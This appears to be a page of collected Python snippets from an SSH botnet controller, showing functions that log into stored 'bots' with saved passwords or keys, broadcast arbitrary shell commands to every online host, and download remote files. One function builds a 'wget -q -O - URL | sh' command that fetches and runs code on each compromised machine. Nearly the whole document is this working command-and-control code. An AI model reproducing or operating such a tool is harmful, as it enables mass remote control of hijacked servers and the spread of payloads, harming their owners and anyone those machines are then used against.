Exemplo n.º 1
0
def main():
    db.connect()
    hosts = db.get_online()
    shells = ['sh', 'bash', '']
    options = ['', 'y', 'n']
    interpreter = ""
    execute = ""
    url = input(printer.color_red("Enter url > "))
    dest = input(printer.color_cyan("Enter The Directory To Save > "))
    execute = input(
        printer.color_cyan(
            "Do you wish to execute Enter y or n ?Default is n press enter to leave default > "
        ))
    if not execute == "":
        while not execute.lower() in options:
            execute = input("Enter y or n > ")
        if execute == "y":
            interpreter = input(
                printer.color_cyan(
                    "Enter the interpreter to use... Default is sh ..press enter to leave default > "
                ))
            while not interpreter.lower() in shells:
                interpreter = input("please specify bash or sh > ")
        if execute == "n":
            interpreter = "n"

    for ip in hosts:
        id, host, port, username, password, pkey, session = ip
        printer.print_success("Connecting to Bot:%s" % host)
        if (str(pkey) == 'None'):
            pkey = ''
        if (bot.connect(host, port, username, password, pkey)):
            bot.downloader(dest, url, execute, interpreter)
Exemplo n.º 2
0
def shell():
    """This function get's all the avlaible bots that are online"""
    while True:
        cmd = input(printer.color_red("[+] Bash@All >"))
        if (cmd == "exit"):
            break
        else:
            for ip in hosts:
                id, host, port, username, password, pkey, session = ip
                printer.print_success("Connecting to Bot:%s" % host)
                if (str(pkey) == 'None'):
                    pkey = ''
                if (bot.connect(host, port, username, password, pkey)):
                    bot.sendCommand(cmd)
Exemplo n.º 3
0
def downloader(dest, url, execute, interpreter):
    if (connect):
        if (execute == ""):
            execute = "n"
            interpreter = "n"
        if (execute == "n"):
            cmd = "wget -P %s %s" % (dest, url)
        if (execute == "y"):
            cmd = "wget -q -O - %s | %s" % (url, interpreter)
        if (interpreter == ""):
            interpreter = "sh"
        stdin, stdout, stderr = ssh.exec_command(cmd)
        status = printer.color_blue("\tOutput from %s \t    [+]" % addr)
        print("[+]---------------------------------[+]")
        printer.print_success(status)
        print("[+]---------------------------------[+]")
        print(''.join(map(str, stdout.readlines())))
        print(''.join(map(str, stderr.readlines())))
        print("[+]---------------------------------[+]")
Exemplo n.º 4
0
def connect(address, port, username, password, pkey):
    try:
        global addr
        addr = printer.color_red(address)
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if (pkey == ''):
            ssh.connect(hostname=address,
                        port=port,
                        username=username,
                        password=password,
                        timeout=10,
                        allow_agent=False,
                        look_for_keys=False)
        else:
            private_key = paramiko.RSAKey.from_private_key_file(pkey)
            ssh.connect(hostname=address,
                        port=port,
                        username=username,
                        pkey=private_key,
                        timeout=10,
                        allow_agent=False,
                        look_for_keys=False)
            status = printer.color_red("Connected to Bot %s" % address)
            printer.print_success(status)
    except paramiko.AuthenticationException:
        status = printer.color_red("Authentication failed")
        printer.print_error(status)
        result_flag = False
    except paramiko.SSHException as sshException:
        printer.print_error("Could not establish SSH connection: %s" %
                            sshException)
        result_flag = False
    except Exception as e:
        printer.print_error(
            "PYTHON3 gives the following error in connecting\n", e)
        result_flag = False
    else:
        result_flag = True
    return result_flag
Exemplo n.º 5
0
def sendCommand(command):
    if (connect):
        stdin, stdout, stderr = ssh.exec_command(command)
        ssh_error = stderr.readlines()
        if (ssh_error):
            status = printer.color_blue("\tOutput from %s \t    [+]" % addr)
            print("[+]---------------------------------[+]")
            printer.print_success(status)
            print("[+]---------------------------------[+]")
            status = printer.color_red(
                "There was an error running the Command")
            printer.print_error(status)
            printer.print_error('\t'.join(map(str, ssh_error)))
            print("[+]---------------------------------[+]")
        else:
            status = printer.color_blue("\tOutput from %s \t    [+]" % addr)
            print("[+]---------------------------------[+]")
            printer.print_success(status)
            print("[+]---------------------------------[+]\n")
            print('\t' + '\t'.join(map(str, stdout.readlines())))
            print("[+]---------------------------------[+]")
    else:
        error = printer.color_red("Connection not opened.")
        printer.print_error(error)